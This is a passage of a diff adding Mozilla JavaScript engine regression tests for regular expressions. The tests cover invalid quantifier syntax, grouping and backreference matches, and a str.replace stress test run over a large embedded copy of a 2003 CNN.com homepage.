+ * and http://bugzilla.mozilla.org/show_bug.cgi?id=197451
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 188206;
+var summary = 'Invalid use of regexp quantifiers should generate SyntaxErrors';
+var TEST_PASSED = 'SyntaxError';
+var TEST_FAILED = 'Generated an error, but NOT a SyntaxError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var CHECK_PASSED = 'Should not generate an error';
+var CHECK_FAILED = 'Generated an error!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * All the following are invalid uses of regexp quantifiers and
+ * should generate SyntaxErrors. That's what we're testing for.
+ *
+ * To allow the test to compile and run, we have to hide the errors
+ * inside eval strings, and check they are caught at run-time -
+ *
+ */
+status = inSection(1);
+testThis(' /a**/ ');
+
+status = inSection(2);
+testThis(' /a***/ ');
+
+status = inSection(3);
+testThis(' /a++/ ');
+
+status = inSection(4);
+testThis(' /a+++/ ');
+
+/*
+ * The ? quantifier, unlike * or +, may appear twice in succession.
+ * Thus we need at least three in a row to provoke a SyntaxError -
+ */
+
+status = inSection(5);
+testThis(' /a???/ ');
+
+status = inSection(6);
+testThis(' /a????/ ');
+
+
+/*
+ * Now do some weird things on the left side of the regexps -
+ */
+status = inSection(9);
+testThis(' /+a/ ');
+
+status = inSection(10);
+testThis(' /++a/ ');
+
+status = inSection(11);
+testThis(' /?a/ ');
+
+status = inSection(12);
+testThis(' /??a/ ');
+
+
+/*
+ * Misusing the {DecmalDigits} quantifier - according to BOTH ECMA and Perl.
+ *
+ * Just as with the * and + quantifiers above, can't have two {DecmalDigits}
+ * quantifiers in succession - it's a SyntaxError.
+ */
+status = inSection(28);
+testThis(' /x{1}{1}/ ');
+
+status = inSection(29);
+testThis(' /x{1,}{1}/ ');
+
+status = inSection(30);
+testThis(' /x{1,2}{1}/ ');
+
+status = inSection(31);
+testThis(' /x{1}{1,}/ ');
+
+status = inSection(32);
+testThis(' /x{1,}{1,}/ ');
+
+status = inSection(33);
+testThis(' /x{1,2}{1,}/ ');
+
+status = inSection(34);
+testThis(' /x{1}{1,2}/ ');
+
+status = inSection(35);
+testThis(' /x{1,}{1,2}/ ');
+
+status = inSection(36);
+testThis(' /x{1,2}{1,2}/ ');
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Invalid syntax should generate a SyntaxError
+ */
+function testThis(sInvalidSyntax)
+{
+ expect = TEST_PASSED;
+ actual = TEST_FAILED_BADLY;
+
+ try
+ {
+ eval(sInvalidSyntax);
+ }
+ catch(e)
+ {
+ if (e instanceof SyntaxError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+/*
+ * Allowed syntax shouldn't generate any errors
+ */
+function checkThis(sAllowedSyntax)
+{
+ expect = CHECK_PASSED;
+ actual = CHECK_PASSED;
+
+ try
+ {
+ eval(sAllowedSyntax);
+ }
+ catch(e)
+ {
+ actual = CHECK_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-191479.js b/js/src/tests/ecma_3/RegExp/regress-191479.js
new file mode 100644
index 000000000..daa8d0da4
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-191479.js
@@ -0,0 +1,164 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 January 2003
+ * SUMMARY: Testing regular expressions of form /(x|y){n,}/
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=191479
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 191479;
+var summary = 'Testing regular expressions of form /(x|y){n,}/';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = '12 3 45';
+pattern = /(\d|\d\s){2,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12', '2');
+addThis();
+
+status = inSection(2);
+string = '12 3 45';
+pattern = /(\d|\d\s){4,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+status = inSection(3);
+string = '12 3 45';
+pattern = /(\d|\d\s)+/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12', '2');
+addThis();
+
+status = inSection(4);
+string = '12 3 45';
+pattern = /(\d\s?){4,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+/*
+ * Let's reverse the operands in Sections 1-3 above -
+ */
+status = inSection(5);
+string = '12 3 45';
+pattern = /(\d\s|\d){2,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+status = inSection(6);
+string = '12 3 45';
+pattern = /(\d\s|\d){4,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+status = inSection(7);
+string = '12 3 45';
+pattern = /(\d\s|\d)+/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+
+/*
+ * Let's take all 7 sections above and make each quantifer non-greedy.
+ *
+ * This is done by appending ? to it. It doesn't change the meaning of
+ * the quantifier, but makes it non-greedy, which affects the results -
+ */
+status = inSection(8);
+string = '12 3 45';
+pattern = /(\d|\d\s){2,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12', '2');
+addThis();
+
+status = inSection(9);
+string = '12 3 45';
+pattern = /(\d|\d\s){4,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12 3 4', '4');
+addThis();
+
+status = inSection(10);
+string = '12 3 45';
+pattern = /(\d|\d\s)+?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('1', '1');
+addThis();
+
+status = inSection(11);
+string = '12 3 45';
+pattern = /(\d\s?){4,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12 3 4', '4');
+addThis();
+
+status = inSection(12);
+string = '12 3 45';
+pattern = /(\d\s|\d){2,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12 ', '2 ');
+addThis();
+
+status = inSection(13);
+string = '12 3 45';
+pattern = /(\d\s|\d){4,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12 3 4', '4');
+addThis();
+
+status = inSection(14);
+string = '12 3 45';
+pattern = /(\d\s|\d)+?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('1', '1');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-202564.js b/js/src/tests/ecma_3/RegExp/regress-202564.js
new file mode 100644
index 000000000..48854d2c8
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-202564.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 18 April 2003
+ * SUMMARY: Testing regexp with many backreferences
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=202564
+ *
+ * Note that in Section 1 below, we expect the 1st and 4th backreferences
+ * to hold |undefined| instead of the empty strings one gets in Perl and IE6.
+ * This is because per ECMA, regexp backreferences must hold |undefined|
+ * if not used. See http://bugzilla.mozilla.org/show_bug.cgi?id=123437.
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 202564;
+var summary = 'Testing regexp with many backreferences';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'Seattle, WA to Buckley, WA';
+pattern = /(?:(.+), )?(.+), (..) to (?:(.+), )?(.+), (..)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, undefined, "Seattle", "WA", undefined, "Buckley", "WA");
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-209067.js b/js/src/tests/ecma_3/RegExp/regress-209067.js
new file mode 100644
index 000000000..efee909b2
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-209067.js
@@ -0,0 +1,1072 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 12 June 2003
+ * SUMMARY: Testing complicated str.replace()
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=209067
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 209067;
+var summary = 'Testing complicated str.replace()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function formatHTML(h)
+{
+ // a replace function used in the succeeding lines -
+ function S(s)
+ {
+ return s.replace(/</g,'&lt;').replace(/>/g,'&gt;');
+ }
+
+ h+='\n';
+ h=h.replace(/&([^\s]+;)/g,'&lt;&amp;$1&gt;');
+ h=h.replace(new RegExp('<!-'+'-[\\s\\S]*-'+'->','g'), S);
+ h=h.replace(/"[^"]*"/g,S);
+ h=h.replace(/'[^']*'/g,S);
+
+
+ h=h.replace(/<([^>]*)>/g,
+ function(s,p)
+ {
+ if(s.match(/!doctype/i))
+ return'<span class=doctype>&lt;' + p + '&gt;</span>';
+
+ p=p.replace(/\\'/g,'\\&#39;').replace(/\\"/g,'\\&#34;').replace(/^\s/,'');
+p=p.replace(/(\s)([^<]+)$/g,
+ function(s,p1,p2)
+ {
+ p2=p2.replace(/(=)(\s*[^"'][^\s]*)(\s|$)/g,'$1<span class=attribute-value>$2</span>$3');
+ p2=p2.replace(/("[^"]*")/g,'<span class=attribute-value>$1</span>');
+ p2=p2.replace(/('[^']*')/g,'<span class=attribute-value>$1</span>');
+ return p1 + '<span class=attribute-name>'+p2+'</span>';
+ }
+ )
+
+ return'&lt;<span class=' + (s.match(/<\s*\//)?'end-tag':'start-tag') + '>' + p + '</span>&gt;';
+ }
+ )
+
+
+ h=h.replace(/&lt;(&[^\s]+;)&gt;/g,'<span class=entity>$1</span>');
+ h=h.replace(/(&lt;!--[\s\S]*--&gt;)/g,'<span class=comment>$1</span>');
+
+
+ numer=1;
+ h=h.replace(/(.*\n)/g,
+ function(s,p)
+ {
+ return (numer++) +'. ' + p;
+ }
+ )
+
+
+ return'<span class=text>' + h + '</span>';
+}
+
+
+
+/*
+ * sanity check
+ */
+status = inSection(1);
+actual = formatHTML('abc');
+expect = '<span class=text>1. abc\n</span>';
+addThis();
+
+
+/*
+ * The real test: can we run this without crashing?
+ * We are not validating the result, just running it.
+ */
+status = inSection(2);
+var HUGE_TEST_STRING = hugeString();
+formatHTML(HUGE_TEST_STRING);
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+function hugeString()
+{
+var s = '';
+
+s += '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">';
+s += '<html lang="en">';
+s += '<head>';
+s += ' <meta http-equiv="content-type" content="text/html; charset=iso-8859-1">';
+s += ' <meta http-equiv="refresh" content="1800">';
+s += ' <title>CNN.com</title>';
+s += ' <link rel="Start" href="/">';
+s += ' <link rel="Search" href="/search/">';
+s += ' <link rel="stylesheet" href="http://i.cnn.net/cnn/.element/ssi/css/1.0/main.css" type="text/css">';
+s += ' <script language="JavaScript1.2" src="http://i.cnn.net/cnn/.element/ssi/js/1.0/main.js" type="text/javascript"></script>';
+s += '<script language="JavaScript1.1" src="http://ar.atwola.com/file/adsWrapper.js"></script>';
+s += '<style type="text/css">';
+s += '<!--';
+s += '.aoltextad { text-align: justify; font-size: 12px; color: black; font-family: Georgia, sans-serif }';
+s += '-->';
+s += '</style>';
+s += '<script language="JavaScript1.1" type="text/javascript" src="http://ar.atwola.com/file/adsPopup2.js"></script>';
+s += '<script language="JavaScript">';
+s += 'document.adoffset = 0;';
+s += 'document.adPopupDomain = "www.cnn.com";';
+s += 'document.adPopupFile = "/cnn_adspaces/adsPopup2.html";';
+s += 'document.adPopupInterval = "P24";';
+s += 'document.adPopunderInterval = "P24";';
+s += 'adSetOther("&TVAR="+escape("class=us.low"));';
+s += '</script>';
+s += '';
+s += ' ';
+s += '</head>';
+s += '<body class="cnnMainPage">';
+s += '';
+s += '';
+s += '';
+s += '<a name="top_of_page"></a>';
+s += '<a href="#ContentArea"><img src="http://i.cnn.net/cnn/images/1.gif" alt="Click here to skip to main content." width="10" height="1" border="0" align="right"></a>';
+s += '<table width="770" border="0" cellpadding="0" cellspacing="0" style="speak: none">';
+s += ' <col width="229">';
+s += ' <col width="73">';
+s += ' <col width="468">';
+s += ' <tr>';
+s += ' <td colspan="3"><!--';
+s += '[[!~~ netscape hat ~~]][[table border="0" cellpadding="0" cellspacing="0" width="100%"]][[tr]][[td]][[script Language="Javascript" SRC="http://toolbar.aol.com/dashboard.twhat?dom=cnn" type="text/javascript"]][[/script]][[/td]][[/tr]][[/table]]';
+s += '';
+s += '[[div]][[img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2" border="0"]][[/div]]';
+s += '-->';
+s += ' </td>';
+s += ' </tr>';
+s += ' <tr valign="bottom">';
+s += ' <td width="229" style="speak: normal"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/logo/cnn.gif" alt="CNN.com" width="229" height="52" border="0"></td>';
+s += ' <td width="73"></td>';
+s += ' <td width="468" align="right">';
+s += ' <!-- home/bottom.468x60 -->';
+s += '<script language="JavaScript1.1">';
+s += '<!--';
+s += 'adSetTarget("_top");';
+s += 'htmlAdWH( (new Array(93103287,93103287,93103300,93103300))[document.adoffset||0] , 468, 60);';
+s += '//-->';
+ s += '</script>';
+ s += '<noscript><a href="http://ar.atwola.com/link/93103287/aol" target="_top"><img src="http://ar.atwola.com/image/93103287/aol" alt="Click Here" width="468" height="60" border="0"></a></noscript> ';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' <tr><td colspan="3"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></td></tr>';
+ s += ' <tr>';
+ s += ' <td colspan="3">';
+ s += '</td>';
+ s += ' </tr>';
+ s += ' <tr><td colspan="3" bgcolor="#CC0000"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="3"></td></tr>';
+ s += ' <tr>';
+ s += ' <td colspan="3">';
+ s += '';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <form action="http://search.cnn.com/cnn/search" method="get" onsubmit="return CNN_validateSearchForm(this);">';
+ s += '<input type="hidden" name="source" value="cnn">';
+ s += '<input type="hidden" name="invocationType" value="search/top">';
+ s += ' <tr><td colspan="4"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1" border="0"></td></tr>';
+ s += ' <tr><td colspan="4" bgcolor="#003366"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="3" border="0"></td></tr>';
+ s += ' <tr>';
+ s += ' <td rowspan="2"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.search.gif" alt="SEARCH" width="110" height="27" border="0"></td>';
+ s += ' <td colspan="2"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.top.bevel.gif" alt="" width="653" height="3" border="0"></td>';
+ s += ' <td rowspan="2"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.right.bevel.gif" alt="" width="7" height="27" border="0"></td>';
+ s += ' </tr>';
+ s += ' <tr bgcolor="#B6D8E0">';
+ s += ' <td><table border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td>&nbsp;&nbsp;</td>';
+ s += ' <td nowrap><span class="cnnFormTextB" style="color:#369">The Web</span></td>';
+ s += ' <td><input type="radio" name="sites" value="google" checked></td>';
+ s += ' <td>&nbsp;&nbsp;</td>';
+ s += ' <td><span class="cnnFormTextB" style="color:#369;">CNN.com</span></td>';
+ s += ' <td><input type="radio" name="sites" value="cnn"></td>';
+ s += ' <td>&nbsp;&nbsp;</td>';
+ s += ' <td><input type="text" name="query" class="cnnFormText" value="" title="Enter text to search for and click Search" size="35" maxlength="40" style="width: 280px"></td>';
+ s += ' <td>&nbsp;<input type="Submit" value="Search" class="cnnNavButton" style="padding: 0px; margin: 0px; width: 50px"></td>';
+ s += ' </tr>';
+ s += ' </table></td>';
+ s += ' <td align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.google.gif" alt="enhanced by Google" width="137" height="24" border="0"></td>';
+ s += ' </tr>';
+ s += ' <tr><td colspan="4"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.bottom.bevel.gif" alt="" width="770" height="3" border="0"></td></tr>';
+ s += ' </form>';
+ s += '</table>';
+ s += ' </td>';
+ s += ' </tr>';
+ s += '';
+ s += '';
+ s += '</table>';
+ s += '';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <col width="126" align="left" valign="top">';
+ s += ' <col width="10">';
+ s += ' <col width="280">';
+ s += ' <col width="10">';
+ s += ' <col width="344">';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="5" width="126" style="speak: none"><table id="cnnNavBar" width="126" bgcolor="#EEEEEE" border="0" cellpadding="0" cellspacing="0" summary="CNN.com Navigation">';
+ s += ' <col width="8" align="left" valign="top">';
+ s += ' <col width="118" align="left" valign="top">';
+ s += ' <tr bgcolor="#CCCCCC" class="cnnNavHiliteRow"><td width="8" class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNavHilite" onClick="CNN_goTo("/")"><div class="cnnNavText"><a href="/">Home Page</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/WORLD/")"><div class="cnnNavText"><a href="/WORLD/">World</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/US/")"><div class="cnnNavText"><a href="/US/">U.S.</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/WEATHER/")"><div class="cnnNavText"><a href="/WEATHER/">Weather</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/money/")"><div class="cnnNavText"><a href="/money/">Business</a>&nbsp;<a href="/money/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/nav_at_money.gif" alt="at CNN/Money" width="51" height="5" border="0"></a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/cnnsi/")"><div class="cnnNavText"><a href="/si/">Sports</a>&nbsp;<a href="/si/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/nav_at_si.gif" alt="at SI.com" width="50" height="5" border="0"></a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/ALLPOLITICS/")"><div class="cnnNavText"><a href="/ALLPOLITICS/">Politics</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/LAW/")"><div class="cnnNavText"><a href="/LAW/">Law</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/TECH/")"><div class="cnnNavText"><a href="/TECH/">Technology</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/TECH/space/")"><div class="cnnNavText"><a href="/TECH/space/">Science &amp; Space</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/HEALTH/")"><div class="cnnNavText"><a href="/HEALTH/">Health</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/SHOWBIZ/")"><div class="cnnNavText"><a href="/SHOWBIZ/">Entertainment</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/TRAVEL/")"><div class="cnnNavText"><a href="/TRAVEL/">Travel</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/EDUCATION/")"><div class="cnnNavText"><a href="/EDUCATION/">Education</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/SPECIALS/")"><div class="cnnNavText"><a href="/SPECIALS/">Special Reports</a></div></td></tr>';
+ s += ' <tr bgcolor="#FFFFFF"><td class="cnnNavAd" colspan="2" align="center"><!-- home/left.120x90 -->';
+ s += '<script language="JavaScript1.1">';
+ s += '<!--';
+ s += 'adSetTarget("_top");';
+ s += 'htmlAdWH( (new Array(93166917,93166917,93170132,93170132))[document.adoffset||0] , 120, 90);';
+ s += '//-->';
+ s += '</script><noscript><a href="http://ar.atwola.com/link/93166917/aol" target="_top"><img src="http://ar.atwola.com/image/93166917/aol" alt="Click here for our advertiser" width="120" height="90" border="0"></a></noscript></td></tr>';
+ s += ' <tr bgcolor="#999999" class="cnnNavGroupRow">';
+ s += ' <td colspan="2" class="cnnNavGroup"><div class="cnnNavText">SERVICES</div></td></tr>';
+ s += ' <tr class="cnnNavOtherRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNavOther" onMouseOver="CNN_navBar(this,1,0)" onMouseOut="CNN_navBar(this,0,0)" onClick="CNN_navBarClick(this,0,"/video/")"><div class="cnnNavText"><a href="/video/">Video</a></div></td></tr>';
+ s += ' <tr class="cnnNavOtherRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNavOther" onMouseOver="CNN_navBar(this,1,0)" onMouseOut="CNN_navBar(this,0,0)" onClick="CNN_navBarClick(this,0,"/EMAIL/")"><div class="cnnNavText"><a href="/EMAIL/">E-Mail Services</a></div></td></tr>';
+ s += ' <tr class="cnnNavOtherRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNavOther" onMouseOver="CNN_navBar(this,1,0)" onMouseOut="CNN_navBar(this,0,0)" onClick="CNN_navBarClick(this,0,"/mobile/CNNtoGO/")"><div class="cnnNavText"><a href="/mobile/CNNtoGO/">CNN To Go</a></div></td></tr>';
+ s += ' <tr bgcolor="#999999" class="cnnNavGroupRow">';
+ s += ' <td colspan="2" class="cnnNavGroup" style="background-color: #445B60"><div class="cnnNavText" style="color: #fff">SEARCH</div></td></tr>';
+ s += ' <tr bgcolor="#CCCCCC"><td colspan="2" class="cnnNavSearch" style="background-color:#B6D8E0">';
+ s += '';
+ s += '<form action="http://search.cnn.com/cnn/search" method="get" name="nav_bottom_search" onSubmit="return CNN_validateSearchForm(this)" style="margin: 0px;">';
+ s += ' <input type="hidden" name="sites" value="cnn">';
+ s += ' <input type="hidden" name="source" value="cnn">';
+ s += ' <input type="hidden" name="invocationType" value="side/bottom">';
+ s += '<table width="100%" border="0" cellpadding="0" cellspacing="4">';
+ s += ' <tr><td colspan="2"><table width="100%" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td align="left"><span class="cnnFormTextB" style="color: #369">Web</span></td>';
+ s += ' <td><input type="radio" name="sites" value="google" checked></td>';
+ s += ' <td align="right"><span class="cnnFormTextB" style="color: #369">CNN.com</span></td>';
+ s += ' <td><input type="radio" name="sites" value="cnn"></td>';
+ s += ' </tr>';
+ s += ' </table></td></tr>';
+ s += ' <tr><td colspan="2"><input type="text" name="query" class="cnnFormText" value="" title="Enter text to search for and click Search" size="7" maxlength="40" style="width: 100%"></td></tr>';
+ s += ' <tr valign="top">';
+ s += ' <td><input type="submit" value="Search" class="cnnNavButton" style="padding: 0px; margin: 0px; width: 50px"></td>';
+ s += ' <td align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/sect/SEARCH/nav.search.gif" alt="enhanced by Google" width="54" height="27"></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '';
+ s += '';
+ s += '</td></form></tr>';
+ s += '</table>';
+ s += '';
+ s += ' </td>';
+ s += ' <td rowspan="5" width="10"><a name="ContentArea"></a><img id="accessibilityPixel" src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="7" border="0"></td>';
+ s += ' <td colspan="3" valign="middle">';
+ s += ' <table border="0" cellpadding="0" cellspacing="0" width="100%">';
+ s += ' <tr>';
+ s += ' <td valign="top" nowrap><div class="cnnFinePrint" style="color: #333;padding:6px;padding-left:0px;">Updated: 05:53 p.m. EDT (2153 GMT) June 12, 2003</div></td>';
+ s += ' <td align="right" nowrap class="cnnt1link"><a href="http://edition.cnn.com/">Visit International Edition</a>&nbsp;</td>';
+ s += ' </tr><!--include virtual="/.element/ssi/sect/MAIN/1.0/banner.html"-->';
+ s += ' </table>';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="2" width="280" bgcolor="#EAEFF4">';
+ s += '';
+ s += '<!-- T1 -->';
+ s += ' ';
+ s += ' <a href="/2003/SHOWBIZ/Movies/06/12/obit.peck/index.html"><img src="http://i.cnn.net/cnn/2003/SHOWBIZ/Movies/06/12/obit.peck/top.peck.obit.jpg" alt="Oscar-winner Peck dies" width="280" height="210" border="0" hspace="0" vspace="0"></a>';
